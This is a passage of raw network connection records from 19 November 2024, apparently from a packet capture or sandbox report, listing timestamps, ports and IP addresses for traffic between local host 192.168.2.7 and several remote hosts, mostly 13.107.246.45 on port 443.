Nov 19, 2024 20:05:19.655241966 CET	443	49707	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.659986019 CET	443	49703	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.660042048 CET	443	49703	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.660084963 CET	49703	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.660269976 CET	49703	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.660269976 CET	49703	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.660298109 CET	443	49703	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.660311937 CET	443	49703	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.663014889 CET	49708	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.663048983 CET	443	49708	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.663108110 CET	49708	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.663274050 CET	49708	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.663284063 CET	443	49708	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.671902895 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.671925068 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.671969891 CET	49706	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.671984911 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.672178984 CET	49706	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.672188044 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.672199965 CET	49706	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.672295094 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.672322035 CET	443	49706	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.672358036 CET	49706	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.674941063 CET	49709	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.674968004 CET	443	49709	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.675033092 CET	49709	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.675295115 CET	49709	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.675307989 CET	443	49709	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.691112041 CET	443	49705	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.691304922 CET	443	49705	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.691355944 CET	49705	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.691402912 CET	49705	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.691404104 CET	49705	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.691428900 CET	443	49705	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.691452980 CET	443	49705	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.694135904 CET	49710	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.694169998 CET	443	49710	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.694228888 CET	49710	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.694403887 CET	49710	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.694413900 CET	443	49710	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.734821081 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.734853029 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.734899998 CET	49704	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.734914064 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.734951973 CET	49704	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.735148907 CET	49704	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.735152960 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.735173941 CET	49704	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.735342026 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.735373020 CET	443	49704	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.735418081 CET	49704	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.739053011 CET	49711	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.739079952 CET	443	49711	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:19.739254951 CET	49711	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.739335060 CET	49711	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:19.739348888 CET	443	49711	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.294327974 CET	443	49707	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.300578117 CET	443	49708	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.310405016 CET	443	49709	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.326246977 CET	49707	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.326283932 CET	443	49707	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.330039978 CET	443	49710	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.346281052 CET	49708	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.361907959 CET	49709	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.377511024 CET	49710	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.387923002 CET	443	49711	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.411149025 CET	49707	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.411171913 CET	443	49707	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.411828995 CET	49711	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.411845922 CET	443	49711	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.412484884 CET	49711	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.412491083 CET	443	49711	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.428229094 CET	49708	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.428245068 CET	443	49708	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.428770065 CET	49708	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.428775072 CET	443	49708	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.429312944 CET	49709	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.429335117 CET	443	49709	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.429954052 CET	49709	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.429960012 CET	443	49709	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.430625916 CET	49710	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.430630922 CET	443	49710	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.431138992 CET	49710	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.431143045 CET	443	49710	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.508843899 CET	443	49707	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.508936882 CET	443	49707	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.508994102 CET	49707	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.510224104 CET	443	49711	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.510291100 CET	443	49711	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.510677099 CET	49711	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.516360044 CET	49707	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.516396999 CET	443	49707	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.516417980 CET	49707	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.516423941 CET	443	49707	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.517105103 CET	49711	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.517105103 CET	49711	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.517118931 CET	443	49711	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.517128944 CET	443	49711	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.526139975 CET	443	49708	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.526238918 CET	443	49708	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.526352882 CET	49708	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.527472973 CET	443	49709	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.527537107 CET	443	49709	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.527683020 CET	443	49710	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.527734995 CET	443	49710	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.527770042 CET	49709	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.527796030 CET	49710	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.658390999 CET	49712	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.658441067 CET	443	49712	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.658792019 CET	49712	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.659055948 CET	49708	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.659089088 CET	443	49708	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.659105062 CET	49708	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.659116030 CET	443	49708	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.659270048 CET	49709	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.659270048 CET	49709	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.659290075 CET	443	49709	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.659326077 CET	443	49709	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.693639994 CET	49710	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.693677902 CET	443	49710	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.693692923 CET	49710	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.693701982 CET	443	49710	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:20.853740931 CET	49712	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:20.853774071 CET	443	49712	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.159569979 CET	49713	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.159624100 CET	443	49713	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.159755945 CET	49713	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.161411047 CET	49714	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.161470890 CET	443	49714	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.161725044 CET	49714	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.161761999 CET	49713	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.161778927 CET	443	49713	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.162446022 CET	49715	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.162455082 CET	443	49715	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.162672043 CET	49715	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.162918091 CET	49715	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.162930965 CET	443	49715	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.163204908 CET	49716	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.163237095 CET	443	49716	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.163292885 CET	49716	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.163361073 CET	49714	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.163383007 CET	443	49714	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.163507938 CET	49716	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.163523912 CET	443	49716	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.489089012 CET	443	49712	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.489631891 CET	49712	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.489650011 CET	443	49712	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.490616083 CET	49712	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.490628004 CET	443	49712	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.591272116 CET	443	49712	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.591351032 CET	443	49712	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.591423035 CET	49712	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.601145983 CET	49712	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.601166964 CET	443	49712	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.601191998 CET	49712	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.601202965 CET	443	49712	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.605520964 CET	49717	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.605544090 CET	443	49717	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:21.605626106 CET	49717	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.605751038 CET	49717	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:21.605762005 CET	443	49717	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.044553041 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:22.053282022 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:22.053379059 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:22.054089069 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:22.057056904 CET	443	49713	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.057070971 CET	443	49715	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.057089090 CET	443	49716	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.057542086 CET	443	49714	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.057713985 CET	49713	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.057739973 CET	443	49713	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.057894945 CET	49715	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.057903051 CET	443	49715	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.058521032 CET	49715	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.058526039 CET	443	49715	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.058866978 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:22.059010029 CET	49713	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.059015036 CET	443	49713	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.059281111 CET	49716	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.059303045 CET	443	49716	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.059690952 CET	49714	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.059731960 CET	443	49714	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.059756994 CET	49716	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.059762955 CET	443	49716	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.060353041 CET	49714	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.060365915 CET	443	49714	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.157754898 CET	443	49715	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.157814980 CET	443	49715	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.157897949 CET	49715	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.158704042 CET	443	49716	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.158767939 CET	443	49716	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.158946991 CET	49716	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.160290003 CET	443	49713	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.160448074 CET	443	49713	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.160639048 CET	49713	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.161875963 CET	49715	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.161875963 CET	49715	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.161900997 CET	443	49715	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.161915064 CET	443	49715	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.164359093 CET	443	49714	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.164438963 CET	443	49714	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.164495945 CET	49714	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.165076017 CET	49714	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.165076017 CET	49714	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.165131092 CET	443	49714	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.165157080 CET	443	49714	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.166277885 CET	49716	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.166289091 CET	443	49716	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.166310072 CET	49716	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.166316032 CET	443	49716	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.167081118 CET	49713	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.167081118 CET	49713	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.167088032 CET	443	49713	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.167098999 CET	443	49713	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.170207977 CET	49719	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.170262098 CET	443	49719	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.170301914 CET	49720	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.170336008 CET	443	49720	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.170365095 CET	49719	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.170380116 CET	49720	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.170824051 CET	49719	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.170840025 CET	443	49719	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.171058893 CET	49720	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.171091080 CET	443	49720	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.171192884 CET	49721	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.171242952 CET	443	49721	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.171328068 CET	49721	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.171405077 CET	49721	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.171416998 CET	443	49721	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.172045946 CET	49722	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.172069073 CET	443	49722	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.172144890 CET	49722	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.172415018 CET	49722	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.172441959 CET	443	49722	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.288058043 CET	443	49717	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.288693905 CET	49717	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.288721085 CET	443	49717	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.289140940 CET	49717	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.289146900 CET	443	49717	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.392968893 CET	443	49717	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.393033028 CET	443	49717	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.393351078 CET	49717	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.393496990 CET	49717	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.393496990 CET	49717	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.393508911 CET	443	49717	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.393516064 CET	443	49717	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.396449089 CET	49723	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.396490097 CET	443	49723	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.396599054 CET	49723	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.396816015 CET	49723	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.396836042 CET	443	49723	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.596327066 CET	49674	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:22.596568108 CET	49675	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:22.736972094 CET	49672	443	192.168.2.7	104.98.116.138
Nov 19, 2024 20:05:22.812422991 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:22.812714100 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:22.815496922 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:22.820275068 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:22.871157885 CET	443	49721	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.871943951 CET	49721	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.871958971 CET	443	49721	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.872944117 CET	49721	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.872951031 CET	443	49721	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.962091923 CET	443	49722	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.963814020 CET	443	49719	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.965270996 CET	443	49720	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.969696045 CET	49722	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.969742060 CET	443	49722	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.970284939 CET	49722	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.970298052 CET	443	49722	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.970810890 CET	49719	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.970838070 CET	443	49719	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.971409082 CET	49720	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.971438885 CET	443	49720	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.971719980 CET	49719	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.971725941 CET	443	49719	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.971955061 CET	49720	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.971966982 CET	443	49720	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.975637913 CET	443	49721	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.975699902 CET	443	49721	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.975907087 CET	49721	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.975907087 CET	49721	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.976177931 CET	49721	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.976197004 CET	443	49721	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.978800058 CET	49724	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.978836060 CET	443	49724	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:22.979155064 CET	49724	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.979155064 CET	49724	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:22.979192019 CET	443	49724	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.061039925 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.061156988 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.063353062 CET	49718	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:23.068435907 CET	80	49718	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:23.068988085 CET	443	49722	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.069056034 CET	443	49722	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.069349051 CET	49722	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.069349051 CET	49722	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.069384098 CET	49722	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.069397926 CET	443	49722	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.074567080 CET	443	49720	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.074608088 CET	49725	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.074630022 CET	443	49720	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.074642897 CET	443	49725	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.074717999 CET	443	49719	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.074734926 CET	49720	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.074762106 CET	49725	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.074937105 CET	49720	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.074943066 CET	443	49720	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.074970961 CET	443	49719	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.074971914 CET	49720	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.074978113 CET	443	49720	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.075057983 CET	49725	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.075067997 CET	49719	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.075071096 CET	443	49725	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.075140953 CET	49719	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.075140953 CET	49719	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.075158119 CET	443	49719	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.075166941 CET	443	49719	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.077534914 CET	49726	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.077559948 CET	443	49726	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.077625036 CET	49727	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.077634096 CET	443	49727	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.077721119 CET	49727	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.077721119 CET	49726	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.077886105 CET	49726	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.077899933 CET	443	49726	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.077975988 CET	49727	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.077987909 CET	443	49727	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.148381948 CET	443	49723	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.148977041 CET	49723	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.148993015 CET	443	49723	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.149569035 CET	49723	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.149574041 CET	443	49723	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.257270098 CET	443	49723	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.257349968 CET	443	49723	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:23.259437084 CET	49723	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.259437084 CET	49723	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.259437084 CET	49723	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.262280941 CET	49728	443	192.168.2.7	13.107.246.45
Nov 19, 2024 20:05:23.262331963 CET	443	49728	13.107.246.45	192.168.2.7
